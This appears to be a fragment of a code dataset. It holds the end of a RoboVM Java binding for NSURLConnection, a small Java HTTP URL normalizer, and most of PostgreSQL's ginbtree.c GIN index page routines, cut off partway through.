/**/NSObject/**/ \n /**//**/ {\n\n /**/public static class NSURLConnectionPtr extends Ptr {}/**/\n /**/static { ObjCRuntime.bind(NSURLConnection.class); }/**/\n /**//**/\n /**/\n public NSURLConnection() {}\n protected NSURLConnection(Handle h, long handle) { super(h, handle); }\n protected NSURLConnection(SkipInit skipInit) { super(skipInit); }\n /**\n * @deprecated Deprecated in iOS 9.0. Use NSURLSession (see NSURLSession.h)\n */\n @Deprecated\n @Method(selector = \"initWithRequest:delegate:startImmediately:\")\n public NSURLConnection(NSURLRequest request, NSURLConnectionDelegate delegate, boolean startImmediately) { super((SkipInit) null); initObject(init(request, delegate, startImmediately)); }\n /**\n * @deprecated Deprecated in iOS 9.0. Use NSURLSession (see NSURLSession.h)\n */\n @Deprecated\n @Method(selector = \"initWithRequest:delegate:\")\n public NSURLConnection(NSURLRequest request, NSURLConnectionDelegate delegate) { super((SkipInit) null); initObject(init(request, delegate)); }\n /**/\n /**/\n @Property(selector = \"originalRequest\")\n public native NSURLRequest getOriginalRequest();\n @Property(selector = \"currentRequest\")\n public native NSURLRequest getCurrentRequest();\n /**/\n /**//**/\n public void scheduleInRunLoop(NSRunLoop aRunLoop, NSRunLoopMode mode) {\n scheduleInRunLoop(aRunLoop, mode.value().toString());\n }\n public void unscheduleFromRunLoop(NSRunLoop aRunLoop, NSRunLoopMode mode) {\n unscheduleFromRunLoop(aRunLoop, mode.value().toString());\n }\n\n /* NewsstandKit extensions */\n @WeaklyLinked\n public NKAssetDownload getNewsstandAssetDownload() {\n return org.robovm.apple.newsstandkit.NSURLConnectionExtensions.getNewsstandAssetDownload(this);\n }\n /**/\n /**\n * @deprecated Deprecated in iOS 9.0. Use NSURLSession (see NSURLSession.h)\n */\n @Deprecated\n @Method(selector = \"initWithRequest:delegate:startImmediately:\")\n protected native @Pointer long init(NSURLRequest request, NSURLConnectionDelegate delegate, boolean startImmediately);\n /**\n * @deprecated Deprecated in iOS 9.0. Use NSURLSession (see NSURLSession.h)\n */\n @Deprecated\n @Method(selector = \"initWithRequest:delegate:\")\n protected native @Pointer long init(NSURLRequest request, NSURLConnectionDelegate delegate);\n @Method(selector = \"start\")\n public native void start();\n @Method(selector = \"cancel\")\n public native void cancel();\n @Method(selector = \"scheduleInRunLoop:forMode:\")\n public native void scheduleInRunLoop(NSRunLoop aRunLoop, String mode);\n @Method(selector = \"unscheduleFromRunLoop:forMode:\")\n public native void unscheduleFromRunLoop(NSRunLoop aRunLoop, String mode);\n @Method(selector = \"setDelegateQueue:\")\n public native void setDelegateQueue(NSOperationQueue queue);\n @Method(selector = \"canHandleRequest:\")\n public static native boolean canHandleRequest(NSURLRequest request);\n /**\n * @deprecated Deprecated in iOS 9.0. Use [NSURLSession dataTaskWithRequest:completionHandler:] (see NSURLSession.h\n */\n @Deprecated\n public static NSData sendSynchronousRequest(NSURLRequest request, NSURLResponse.NSURLResponsePtr response) throws NSErrorException {\n NSError.NSErrorPtr ptr = new NSError.NSErrorPtr();\n NSData result = sendSynchronousRequest(request, response, ptr);\n if (ptr.get() != null) { throw new NSErrorException(ptr.get()); }\n return result;\n }\n /**\n * @deprecated Deprecated in iOS 9.0. Use [NSURLSession dataTaskWithRequest:completionHandler:] (see NSURLSession.h\n */\n @Deprecated\n @Method(selector = \"sendSynchronousRequest:returningResponse:error:\")\n private static native NSData sendSynchronousRequest(NSURLRequest request, NSURLResponse.NSURLResponsePtr response, NSError.NSErrorPtr error);\n /**\n * @deprecated Deprecated in iOS 9.0. Use [NSURLSession dataTaskWithRequest:completionHandler:] (see NSURLSession.h\n */\n @Deprecated\n @Method(selector = \"sendAsynchronousRequest:queue:completionHandler:\")\n public static native void sendAsynchronousRequest(NSURLRequest request, NSOperationQueue queue, @Block VoidBlock3 handler);\n /**/\n}\n"} -{"text": "package org.thunlp.url;\n\nimport java.util.regex.Pattern;\n\npublic class HttpUrlNormalizer {\n\tprivate static Pattern defaultPagePat = Pattern\n\t\t\t.compile(\".*(default|index)\\\\.\"\n\t\t\t\t\t+ \"(asp|aspx|php|html|htm|shtml|dhtml|jsp)$\");\n\tprivate static Pattern wrongPrefixPat = Pattern.compile(\"^http:/[0-9a-z]\");\n\n\tpublic static String normalize(String url) {\n\t\turl = url.toLowerCase();\n\t\tif (url.startsWith(\"http//\")) {\n\t\t\turl = url.replaceFirst(\"http//\", \"http://\");\n\t\t}\n\t\tif (url.startsWith(\"http:///\")) {\n\t\t\turl = url.replaceFirst(\"http:///\", \"http://\");\n\t\t}\n\t\tif (wrongPrefixPat.matcher(url).find()) {\n\t\t\turl = url.replaceFirst(\"http:/\", \"http://\");\n\t\t}\n\t\tif (!url.startsWith(\"http://\")) {\n\t\t\turl = \"http://\" + url;\n\t\t}\n\n\t\tif (url.endsWith(\"#\")) {\n\t\t\turl = url.substring(0, url.length() - 1);\n\t\t}\n\n\t\turl = url.replaceAll(\"/\\\\.(?=[^.]|$)\", \"\");\n\n\t\tif (url.contains(\"..\")) {\n\t\t\tboolean hasEndSlash = url.endsWith(\"/\");\n\t\t\tString[] splitted = url.split(\"/\");\n\t\t\tboolean[] keep = new boolean[splitted.length];\n\t\t\tfor (int i = 0; i < splitted.length; i++) {\n\t\t\t\tkeep[i] = true;\n\t\t\t\tif (splitted[i].equals(\"..\")) {\n\t\t\t\t\tkeep[i] = false;\n\t\t\t\t\tint k = i - 1;\n\t\t\t\t\twhile (k > 0 && !keep[k])\n\t\t\t\t\t\tk--;\n\t\t\t\t\tif (k > 2)\n\t\t\t\t\t\tkeep[k] = false;\n\t\t\t\t}\n\t\t\t}\n\t\t\tStringBuilder sb = new StringBuilder();\n\t\t\tfor (int i = 0; i < splitted.length; i++) {\n\t\t\t\tif (keep[i]) {\n\t\t\t\t\tsb.append(splitted[i]);\n\t\t\t\t\tif (i < splitted.length - 1 || hasEndSlash)\n\t\t\t\t\t\tsb.append(\"/\");\n\t\t\t\t}\n\t\t\t}\n\t\t\turl = sb.toString();\n\t\t}\n\n\t\tif (defaultPagePat.matcher(url).matches()) {\n\t\t\turl = url.replaceAll(\"[^/]*$\", \"\");\n\t\t}\n\t\tif (url.endsWith(\"/\")) {\n\t\t\turl = url.substring(0, url.length() - 1);\n\t\t}\n\t\treturn url;\n\t}\n}\n"} -{"text": "/*-------------------------------------------------------------------------\n *\n * ginbtree.c\n *\t page utilities routines for the postgres inverted index access method.\n *\n *\n * Portions Copyright (c) 1996-2019, PostgreSQL Global Development Group\n * Portions Copyright (c) 1994, Regents of the University of California\n *\n * IDENTIFICATION\n *\t\t\tsrc/backend/access/gin/ginbtree.c\n *-------------------------------------------------------------------------\n */\n\n#include \"postgres.h\"\n\n#include \"access/gin_private.h\"\n#include \"access/ginxlog.h\"\n#include \"access/xloginsert.h\"\n#include \"storage/predicate.h\"\n#include \"miscadmin.h\"\n#include \"utils/memutils.h\"\n#include \"utils/rel.h\"\n\nstatic void ginFindParents(GinBtree btree, GinBtreeStack *stack);\nstatic bool ginPlaceToPage(GinBtree btree, GinBtreeStack *stack,\n\t\t\t\t\t\t void *insertdata, BlockNumber updateblkno,\n\t\t\t\t\t\t Buffer childbuf, GinStatsData *buildStats);\nstatic void ginFinishSplit(GinBtree btree, GinBtreeStack *stack,\n\t\t\t\t\t\t bool freestack, GinStatsData *buildStats);\n\n/*\n * Lock buffer by needed method for search.\n */\nint\nginTraverseLock(Buffer buffer, bool searchMode)\n{\n\tPage\t\tpage;\n\tint\t\t\taccess = GIN_SHARE;\n\n\tLockBuffer(buffer, GIN_SHARE);\n\tpage = BufferGetPage(buffer);\n\tif (GinPageIsLeaf(page))\n\t{\n\t\tif (searchMode == false)\n\t\t{\n\t\t\t/* we should relock our page */\n\t\t\tLockBuffer(buffer, GIN_UNLOCK);\n\t\t\tLockBuffer(buffer, GIN_EXCLUSIVE);\n\n\t\t\t/* But root can become non-leaf during relock */\n\t\t\tif (!GinPageIsLeaf(page))\n\t\t\t{\n\t\t\t\t/* restore old lock type (very rare) */\n\t\t\t\tLockBuffer(buffer, GIN_UNLOCK);\n\t\t\t\tLockBuffer(buffer, GIN_SHARE);\n\t\t\t}\n\t\t\telse\n\t\t\t\taccess = GIN_EXCLUSIVE;\n\t\t}\n\t}\n\n\treturn access;\n}\n\n/*\n * Descend the tree to the leaf page that contains or would contain the key\n * we're searching for. The key should already be filled in 'btree', in\n * tree-type specific manner. If btree->fullScan is true, descends to the\n * leftmost leaf page.\n *\n * If 'searchmode' is false, on return stack->buffer is exclusively locked,\n * and the stack represents the full path to the root. Otherwise stack->buffer\n * is share-locked, and stack->parent is NULL.\n *\n * If 'rootConflictCheck' is true, tree root is checked for serialization\n * conflict.\n */\nGinBtreeStack *\nginFindLeafPage(GinBtree btree, bool searchMode,\n\t\t\t\tbool rootConflictCheck, Snapshot snapshot)\n{\n\tGinBtreeStack *stack;\n\n\tstack = (GinBtreeStack *) palloc(sizeof(GinBtreeStack));\n\tstack->blkno = btree->rootBlkno;\n\tstack->buffer = ReadBuffer(btree->index, btree->rootBlkno);\n\tstack->parent = NULL;\n\tstack->predictNumber = 1;\n\n\tif (rootConflictCheck)\n\t\tCheckForSerializableConflictIn(btree->index, NULL, stack->buffer);\n\n\tfor (;;)\n\t{\n\t\tPage\t\tpage;\n\t\tBlockNumber child;\n\t\tint\t\t\taccess;\n\n\t\tstack->off = InvalidOffsetNumber;\n\n\t\tpage = BufferGetPage(stack->buffer);\n\t\tTestForOldSnapshot(snapshot, btree->index, page);\n\n\t\taccess = ginTraverseLock(stack->buffer, searchMode);\n\n\t\t/*\n\t\t * If we're going to modify the tree, finish any incomplete splits we\n\t\t * encounter on the way.\n\t\t */\n\t\tif (!searchMode && GinPageIsIncompleteSplit(page))\n\t\t\tginFinishSplit(btree, stack, false, NULL);\n\n\t\t/*\n\t\t * ok, page is correctly locked, we should check to move right ..,\n\t\t * root never has a right link, so small optimization\n\t\t */\n\t\twhile (btree->fullScan == false && stack->blkno != btree->rootBlkno &&\n\t\t\t btree->isMoveRight(btree, page))\n\t\t{\n\t\t\tBlockNumber rightlink = GinPageGetOpaque(page)->rightlink;\n\n\t\t\tif (rightlink == InvalidBlockNumber)\n\t\t\t\t/* rightmost page */\n\t\t\t\tbreak;\n\n\t\t\tstack->buffer = ginStepRight(stack->buffer, btree->index, access);\n\t\t\tstack->blkno = rightlink;\n\t\t\tpage = BufferGetPage(stack->buffer);\n\t\t\tTestForOldSnapshot(snapshot, btree->index, page);\n\n\t\t\tif (!searchMode && GinPageIsIncompleteSplit(page))\n\t\t\t\tginFinishSplit(btree, stack, false, NULL);\n\t\t}\n\n\t\tif (GinPageIsLeaf(page))\t/* we found, return locked page */\n\t\t\treturn stack;\n\n\t\t/* now we have correct buffer, try to find child */\n\t\tchild = btree->findChildPage(btree, stack);\n\n\t\tLockBuffer(stack->buffer, GIN_UNLOCK);\n\t\tAssert(child != InvalidBlockNumber);\n\t\tAssert(stack->blkno != child);\n\n\t\tif (searchMode)\n\t\t{\n\t\t\t/* in search mode we may forget path to leaf */\n\t\t\tstack->blkno = child;\n\t\t\tstack->buffer = ReleaseAndReadBuffer(stack->buffer, btree->index, stack->blkno);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tGinBtreeStack *ptr = (GinBtreeStack *) palloc(sizeof(GinBtreeStack));\n\n\t\t\tptr->parent = stack;\n\t\t\tstack = ptr;\n\t\t\tstack->blkno = child;\n\t\t\tstack->buffer = ReadBuffer(btree->index, stack->blkno);\n\t\t\tstack->predictNumber = 1;\n\t\t}\n\t}\n}\n\n/*\n * Step right from current page.\n *\n * The next page is locked first, before releasing the current page. This is\n * crucial to protect from concurrent page deletion (see comment in\n * ginDeletePage).\n */\nBuffer\nginStepRight(Buffer buffer, Relation index, int lockmode)\n{\n\tBuffer\t\tnextbuffer;\n\tPage\t\tpage = BufferGetPage(buffer);\n\tbool\t\tisLeaf = GinPageIsLeaf(page);\n\tbool\t\tisData = GinPageIsData(page);\n\tBlockNumber blkno = GinPageGetOpaque(page)->rightlink;\n\n\tnextbuffer = ReadBuffer(index, blkno);\n\tLockBuffer(nextbuffer, lockmode);\n\tUnlockReleaseBuffer(buffer);\n\n\t/* Sanity check that the page we stepped to is of similar kind. */\n\tpage = BufferGetPage(nextbuffer);\n\tif (isLeaf != GinPageIsLeaf(page) || isData != GinPageIsData(page))\n\t\telog(ERROR, \"right sibling of GIN page is of different type\");\n\n\t/*\n\t * Given the proper lock sequence above, we should never land on a deleted\n\t * page.\n\t */\n\tif (GinPageIsDeleted(page))\n\t\telog(ERROR, \"right sibling of GIN page was deleted\");\n\n\treturn nextbuffer;\n}\n\nvoid\nfreeGinBtreeStack(GinBtreeStack *stack)\n{\n\twhile (stack)\n\t{\n\t\tGinBtreeStack *tmp = stack->parent;\n\n\t\tif (stack->buffer != InvalidBuffer)\n\t\t\tReleaseBuffer(stack->buffer);\n\n\t\tpfree(stack);\n\t\tstack = tmp;\n\t}\n}\n\n/*\n * Try to find parent for current stack position. Returns correct parent and\n * child's offset in stack->parent. The root page is never released, to\n * prevent conflict with vacuum process.\n */\nstatic void\nginFindParents(GinBtree btree, GinBtreeStack *stack)\n{\n\tPage\t\tpage;\n\tBuffer\t\tbuffer;\n\tBlockNumber blkno,\n\t\t\t\tleftmostBlkno;\n\tOffsetNumber offset;\n\tGinBtreeStack *root;\n\tGinBtreeStack *ptr;\n\n\t/*\n\t * Unwind the stack all the way up to the root, leaving only the root\n\t * item.\n\t *\n\t * Be careful not to release the pin on the root page! The pin on root\n\t * page is required to lock out concurrent vacuums on the tree.\n\t */\n\troot = stack->parent;\n\twhile (root->parent)\n\t{\n\t\tReleaseBuffer(root->buffer);\n\t\troot = root->parent;\n\t}\n\n\tAssert(root->blkno == btree->rootBlkno);\n\tAssert(BufferGetBlockNumber(root->buffer) == btree->rootBlkno);\n\troot->off = InvalidOffsetNumber;\n\n\tblkno = root->blkno;\n\tbuffer = root->buffer;\n\toffset = InvalidOffsetNumber;\n\n\tptr = (GinBtreeStack *) palloc(sizeof(GinBtreeStack));\n\n\tfor (;;)\n\t{\n\t\tLockBuffer(buffer, GIN_EXCLUSIVE);\n\t\tpage = BufferGetPage(buffer);\n\t\tif (GinPageIsLeaf(page))\n\t\t\telog(ERROR, \"Lost path\");\n\n\t\tif (GinPageIsIncompleteSplit(page))\n\t\t{\n\t\t\tAssert(blkno != btree->rootBlkno);\n\t\t\tptr->blkno = blkno;\n\t\t\tptr->buffer = buffer;\n\n\t\t\t/*\n\t\t\t * parent may be wrong, but if so, the ginFinishSplit call will\n\t\t\t * recurse to call ginFindParents again to fix it.\n\t\t\t */\n\t\t\tptr->parent = root;\n\t\t\tptr->off = InvalidOffsetNumber;\n\n\t\t\tginFinishSplit(btree, ptr, false, NULL);\n\t\t}\n\n\t\tleftmostBlkno = btree->getLeftMostChild(btree, page);\n\n\t\twhile ((offset = btree->findChildPtr(btree, page, stack->blkno, InvalidOffsetNumber)) == InvalidOffsetNumber)\n\t\t{\n\t\t\tblkno = GinPageGetOpaque(page)->rightlink;\n\t\t\tif (blkno == InvalidBlockNumber)\n\t\t\t{\n\t\t\t\tUnlockReleaseBuffer(buffer);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tbuffer = ginStepRight(buffer, btree->index, GIN_EXCLUSIVE);\n\t\t\tpage = BufferGetPage(buffer);\n\n\t\t\t/* finish any incomplete splits, as above */\n\t\t\tif (GinPageIsIncompleteSplit(page))\n\t\t\t{\n\t\t\t\tAssert(blkno != btree->rootBlkno);\n\t\t\t\tptr->blkno = blkno;\n\t\t\t\tptr->buffer = buffer;\n\t\t\t\tptr->parent = root;\n\t\t\t\tptr->off = InvalidOffsetNumber;\n\n\t\t\t\tginFinishSplit(btree, ptr, false, NULL);\n\t\t\t}\n\t\t}\n\n\t\tif (blkno != InvalidBlockNumber)\n\t\t{\n\t\t\tptr->blkno = blkno;\n\t\t\tptr->buffer = buffer;\n\t\t\tptr->parent = root; /* it may be wrong, but in next call we will\n\t\t\t\t\t\t\t\t * correct */\n\t\t\tptr->off = offset;\n\t\t\tstack->parent = ptr;\n\t\t\treturn;\n\t\t}\n\n\t\t/* Descend down to next level */\n\t\tblkno = leftmostBlkno;\n\t\tbuffer = ReadBuffer(btree->index, blkno);\n\t}\n}\n\n/*\n * Insert a new item to a page.\n *\n * Returns true if the insertion was finished. On false, the page was split and\n * the parent needs to be updated. (A root split returns true as it doesn't\n * need any further action by the caller to complete.)\n *\n * When inserting a downlink to an internal page, 'childbuf' contains the\n * child page that was split. Its GIN_INCOMPLETE_SPLIT flag will be cleared\n * atomically with the insert. Also, the existing item at offset stack->off\n * in the target page is updated to point to updateblkno.\n *\n * stack->buffer is locked on entry, and is kept locked.\n * Likewise for childbuf, if given.\n */\nstatic bool\nginPlaceToPage(GinBtree btree, GinBtreeStack *stack,\n\t\t\t void *insertdata, BlockNumber updateblkno,\n\t\t\t Buffer childbuf, GinStatsData *buildStats)\n{\n\tPage\t\tpage = BufferGetPage(stack->buffer);\n\tbool\t\tresult;\n\tGinPlaceToPageRC rc;\n\tuint16\t\txlflags = 0;\n\tPage\t\tchildpage = NULL;\n\tPage\t\tnewlpage = NULL,\n\t\t\t\tnewrpage = NULL;\n\tvoid\t *ptp_workspace = NULL;\n\tMemoryContext tmpCxt;\n\tMemoryContext oldCxt;\n\n\t/*\n\t * We do all the work of this function and its subfunctions in a temporary\n\t * memory context. This avoids leakages and simplifies APIs, since some\n\t * subfunctions allocate storage that has to survive until we've finished\n\t * the WAL insertion.\n\t */\n\ttmpCxt = AllocSetContextCreate(CurrentMemoryContext,\n\t\t\t\t\t\t\t\t \"ginPlaceToPage temporary context\",\n\t\t\t\t\t\t\t\t ALLOCSET_DEFAULT_SIZES);\n\toldCxt = MemoryContextSwitchTo(tmpCxt);\n\n\tif (GinPageIsData(page))\n\t\txlflags |= GIN_INSERT_ISDATA;\n\tif (GinPageIsLeaf(page))\n\t{\n\t\txlflags |= GIN_INSERT_ISLEAF;\n\t\tAssert(!BufferIsValid(childbuf));\n\t\tAssert(updateblkno == InvalidBlockNumber);\n\t}\n\telse\n\t{\n\t\tAssert(BufferIsValid(childbuf));\n\t\tAssert(updateblkno != InvalidBlockNumber);\n\t\tchildpage = BufferGetPage(childbuf);\n\t}\n\n\t/*\n\t * See if the incoming tuple will fit on the page. beginPlaceToPage will\n\t * decide if the page needs to be split, and will compute the split\n\t * contents if so. See comments for beginPlaceToPage and execPlaceToPage\n\t * functions for more details of the API here.\n\t */\n\trc = btree->beginPlaceToPage(btree, stack->buffer, stack,\n\t\t\t\t\t\t\t\t insertdata, updateblkno,\n\t\t\t\t\t\t\t\t &ptp_workspace,\n\t\t\t\t\t\t\t\t &newlpage, &newrpage);\n\n\tif (rc == GPTP_NO_WORK)\n\t{\n\t\t/* Nothing to do */\n\t\tresult = true;\n\t}\n\telse if (rc == GPTP_INSERT)\n\t{\n\t\t/* It will fit, perform the insertion */\n\t\tSTART_CRIT_SECTION();\n\n\t\tif (RelationNeedsWAL(btree->index) && !btree->isBuild)\n\t\t{\n\t\t\tXLogBeginInsert();\n\t\t\tXLogRegisterBuffer(0, stack->buffer, REGBUF_STANDARD);\n\t\t\tif (BufferIsValid(childbuf))\n\t\t\t\tXLogRegisterBuffer(1, childbuf, REGBUF_STANDARD);\n\t\t}\n\n\t\t/* Perform the page update, and register any extra WAL data */\n\t\tbtree->execPlaceToPage(btree, stack->buffer, stack,\n\t\t\t\t\t\t\t insertdata, updateblkno, ptp_workspace);\n\n\t\tMarkBufferDirty(stack->buffer);\n\n\t\t/* An insert to an internal page finishes the split of the child. */\n\t\tif (BufferIsValid(childbuf))\n\t\t{\n\t\t\tGinPageGetOpaque(childpage)->flags &= ~GIN_INCOMPLETE_SPLIT;\n\t\t\tMarkBufferDirty(childbuf);\n\t\t}\n\n\t\tif (RelationNeedsWAL(btree->index) && !btree->isBuild)\n\t\t{\n\t\t\tXLogRecPtr\trecptr;\n\t\t\tginxlogInsert xlrec;\n\t\t\tBlockIdData childblknos[2];\n\n\t\t\txlrec.flags = xlflags;\n\n\t\t\tXLogRegisterData((char *) &xlrec, sizeof(ginxlogInsert));\n\n\t\t\t/*\n\t\t\t * Log information about child if this was an insertion of a\n\t\t\t * downlink.\n\t\t\t */\n\t\t\tif (BufferIsValid(childbuf))\n\t\t\t{\n\t\t\t\tBlockIdSet(&childblknos[0], BufferGetBlockNumber(childbuf));\n\t\t\t\tBlockIdSet(&childblknos[1], GinPageGetOpaque(childpage)->rightlink);\n\t\t\t\tXLogRegisterData((char *) childblknos,\n\t\t\t\t\t\t\t\t sizeof(BlockIdData) * 2);\n\t\t\t}\n\n\t\t\trecptr = XLogInsert(RM_GIN_ID, XLOG_GIN_INSERT);\n\t\t\tPageSetLSN(page, recptr);\n\t\t\tif (BufferIsValid(childbuf))\n\t\t\t\tPageSetLSN(childpage, recptr);\n\t\t}\n\n\t\tEND_CRIT_SECTION();\n\n\t\t/* Insertion is complete. */\n\t\tresult = true;\n\t}\n\telse if (rc == GPTP_SPLIT)\n\t{\n\t\t/*\n\t\t * Didn't fit, need to split. The split has been computed in newlpage\n\t\t * and newrpage, which are pointers to palloc'd pages, not associated\n\t\t * with buffers. stack->buffer is not touched yet.\n\t\t */\n\t\tBuffer\t\trbuffer;\n\t\tBlockNumber savedRightLink;\n\t\tginxlogSplit data;\n\t\tBuffer\t\tlbuffer = InvalidBuffer;\n\t\tPage\t\tnewrootpg = NULL;\n\n\t\t/* Get a new index page to become the right page */\n\t\trbuffer = GinNewBuffer(btree->index);\n\n\t\t/* During index build, count the new page */\n\t\tif (buildStats)\n\t\t{\n\t\t\tif (btree->isData)\n\t\t\t\tbuildStats->nDataPages++;\n\t\t\telse\n\t\t\t\tbuildStats->nEntryPages++;\n\t\t}\n\n\t\tsavedRightLink = GinPageGetOpaque(page)->rightlink;\n\n\t\t/* Begin setting up WAL record */\n\t\tdata.node = btree->index->rd_node;\n\t\tdata.flags = xlflags;\n\t\tif (BufferIsValid(childbuf))\n\t\t{\n\t\t\tdata.leftChildBlkno = BufferGetBlockNumber(childbuf);\n\t\t\tdata.rightChildBlkno = GinPageGetOpaque(childpage)->rightlink;\n\t\t}\n\t\telse\n\t\t\tdata.leftChildBlkno = data.rightChildBlkno = InvalidBlockNumber;\n\n\t\tif (stack->parent == NULL)\n\t\t{\n\t\t\t/*\n\t\t\t * splitting the root, so we need to allocate new left page and\n\t\t\t * place pointers to left and right page on root page.\n\t\t\t */\n\t\t\tlbuffer = GinNewBuffer(btree->index);\n\n\t\t\t/* During index build, count the new left page */\n\t\t\tif (buildStats)\n\t\t\t{\n\t\t\t\tif (btree->isData)\n\t\t\t\t\tbuildStats->nDataPages++;\n\t\t\t\telse\n\t\t\t\t\tbuildStats->nEntryPages++;\n\t\t\t}\n\n\t\t\tdata.rrlink = InvalidBlockNumber;\n\t\t\tdata.flags |= GIN_SPLIT_ROOT;\n\n\t\t\tGinPageGetOpaque(newrpage)->rightlink = InvalidBlockNumber;\n\t\t\tGinPageGetOpaque(newlpage)->rightlink = BufferGetBlockNumber(rbuffer);\n\n\t\t\t/*\n\t\t\t * Construct a new root page containing downlinks to the new left\n\t\t\t * and right pages. (Do this in a temporary copy rather than\n\t\t\t * overwriting the original page directly, since we're not in the\n\t\t\t * critical section yet.)\n\t\t\t */\n\t\t\tnewrootpg = PageGetTempPage(newrpage);\n\t\t\tGinInitPage(newrootpg, GinPageGetOpaque(newlpage)->flags & ~(GIN_LEAF | GIN_COMPRESSED), BLCKSZ);\n\n\t\t\tbtree->fillRoot(btree, newrootpg,\n\t\t\t\t\t\t\tBufferGetBlockNumber(lbuffer), newlpage,\n\t\t\t\t\t\t\tBufferGetBlockNumber(rbuffer), newrpage);\n\n\t\t\tif (GinPageIsLeaf(BufferGetPage(stack->buffer)))\n\t\t\t{\n\n\t\t\t\tPredicateLockPageSplit(btree->index,\n\t\t\t\t\t\t\t\t\t BufferGetBlockNumber(stack->buffer),\n\t\t\t\t\t\t\t\t\t BufferGetBlockNumber(lbuffer));\n\n\t\t\t\tPredicateLockPageSplit(btree->index,\n\t\t\t\t\t\t\t\t\t BufferGetBlockNumber(stack->buffer),\n\t\t\t\t\t\t\t\t\t BufferGetBlockNumber(rbuffer));\n\t\t\t}\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* splitting a non-root page */\n\t\t\tdata.rrlink = savedRightLink;\n\n\t\t\tGinPageGetOpaque(newrpage)->rightlink = savedRightLink;\n\t\t\tGinPageGetOpaque(newlpage)->flags |= GIN_INCOMPLETE_SPLIT;\n\t\t\tGinPageGetOpaque(newlpage)->rightlink = BufferGetBlockNumber(rbuffer);\n\n\t\t\tif (GinPageIsLeaf(BufferGetPage(stack->buffer)))\n\t\t\t{\n\n\t\t\t\tPredicateLockPageSplit(btree->index,\n\t\t\t\t\t\t\t\t\t BufferGetBlockNumber(stack->buffer),\n\t\t\t\t\t\t\t\t\t BufferGetBlockNumber(rbuffer));\n\t\t\t}\n\t\t}\n\n\t\t/*\n\t\t * OK, we have the new contents of the left page in a temporary copy\n\t\t * now (newlpage), and likewise for the new contents of the\n\t\t * newly-allocated right block. The original page is still unchanged.\n\t\t *\n\t\t * If this is a root split, we also have a temporary page containing\n\t\t * the new contents of the root.\n\t\t */\n\n\t\tSTART_CRIT_SECTION();\n\n\t\tMarkBufferDirty(rbuffer);\n\t\tMarkBufferDirty(stack->buffer);\n\n\t\t/*\n\t\t * Restore the temporary copies over the real buffers.\n\t\t */\n\t\tif (stack->parent == NULL)\n\t\t{\n\t\t\t/* Splitting the root, three pages to update */\n\t\t\tMarkBufferDirty(lbuffer);\n\t\t\tmemcpy(page, newrootpg, BLCKSZ);\n\t\t\tmemcpy(BufferGetPage(lbuffer), newlpage, BLCKSZ);\n\t\t\tmemcpy(BufferGetPage(rbuffer), newrpage, BLCKSZ);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* Normal split, only two pages to update */\n\t\t\tmemcpy(page, newlpage, BLCKSZ);\n\t\t\tmemcpy(BufferGetPage(rbuffer), newrpage, BLCKSZ);\n\t\t}\n\n\t\t/* We also clear childbuf's INCOMPLETE_SPLIT flag, if passed */\n\t\tif (BufferIsValid(childbuf))\n\t\t{\n\t\t\tGinPageGetOpaque(childpage)->flags &= ~GIN_INCOMPLETE_SPLIT;\n\t\t\tMarkBufferDirty(childbuf);\n\t\t}\n\n\t\t/* write WAL record */\n\t\tif (RelationNeedsWAL(btree->index) && !btree->isBuild)\n\t\t{\n\t\t\tXLogRecPtr\trecptr;\n\n\t\t\tXLogBeginInsert();\n\n\t\t\t/*\n\t\t\t * We just take full page images of all the split pages. Splits\n\t\t\t * are uncommon enough that it's not worth complicating the code\n\t\t\t * to be more efficient.\n\t\t\t */\n\t\t\tif (stack->parent == NULL)\n\t\t\t{\n\t\t\t\tXLogRegisterBuffer(0, lbuffer, REGBUF_FORCE_IMAGE | REGBUF_STANDARD);\n\t\t\t\tXLogRegisterBuffer(1, rbuffer, REGBUF_FORCE_IMAGE | REGBUF_STANDARD);\n\t\t\t\tXLogRegisterBuffer(2, stack->buffer, REGBUF_FORCE_IMAGE | REGBUF_STANDARD);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tXLogRegisterBuffer(0, stack->buffer, REGBUF_FORCE_IMAGE | REGBUF_STANDARD);\n\t\t\t\tXLogRegisterBuffer(1, rbuffer, REGBUF_FORCE_IMAGE | REGBUF_STANDARD);\n\t\t\t}\n\t\t\tif (BufferIsValid(childbuf))\n\t\t\t\tXLogRegisterBuffer(3, childbuf, REGBUF_STANDARD);\n\n\t\t\tXLogRegisterData((char *) &data, sizeof(ginxlogSplit));\n\n\t\t\trecptr = XLogInsert(RM_GIN_ID, XLOG_GIN_SPLIT);\n\n\t\t\tPageSetLSN(page, recptr);\n\t\t\tPageSetLSN(BufferGetPage(rbuffer), recptr);\n\t\t\tif (stack->parent == NULL)\n\t\t\t\tPageSetLSN(BufferGetPage(lbuffer), recptr);\n\t\t\tif (BufferIsValid(childbuf))\n\t\t\t\tPageSetLSN(childpage, recptr);\n\t\t}\n\t\tEND_CRIT_SECTION();\n\n\t\t/*\n\t\t * We can release the locks/pins on the new pages now, but keep\n\t\t * stack->buffer locked. childbuf doesn't get unlocked either.\n\t\t */\n\t\tUnlockReleaseBuffer(rbuffer);\n\t\tif (stack->parent == NULL)\n\t\t\tUnlockReleaseBuffer(lbuffer);\n\n\t\t/*\n\t\t * If we split the root, we're done. Otherwise the split is not\n\t\t * complete until the downlink for the new page has been inserted to\n\t\t * the parent.\n\t\t */\n\t\tresult = (stack->parent == NULL);\n\t}\n\telse\n\t{\n\t\telog(ERROR, \"invalid return code from GIN placeToPage method: %d\", rc);\n\t\tresult = false;\t\t\t/* keep compiler quiet */\n\t}\n\n\t/* Clean up temp context */\n\tMemoryContextSwitchTo(oldCxt);\n\tMemoryContextDelete(tmpCxt);\n\n\treturn result;\n}\n\n/*\n * Finish a split by inserting the downlink for the new page to parent.\n *\n * On entry, stack->buffer is exclusively locked.\n *\n * If freestack is true, all the buffers are released and unlocked as we\n * crawl up the tree, and 'stack' is freed. Otherwise stack->buffer is kept\n * locked, and stack is unmodified, except for possibly moving right to find\n * the correct parent of page.\n */\nstatic void\nginFinishSplit(GinBtree btree, GinBtreeStack *stack, bool freestack,\n\t\t\t GinStatsData *buildStats)\n{\n\tPage\t\tpage;\n\tbool\t\tdone;\n\tbool\t\tfirst = true;\n\n\t/*\n\t * freestack == false when we encounter an incompletely split page during\n\t * a scan, while freestack == true is used in the normal scenario that a\n\t * split is finished right after the initial insert.\n\t */\n\tif (!freestack)\n\t\telog(DEBUG1, \"finishing incomplete split of block %u in gin index 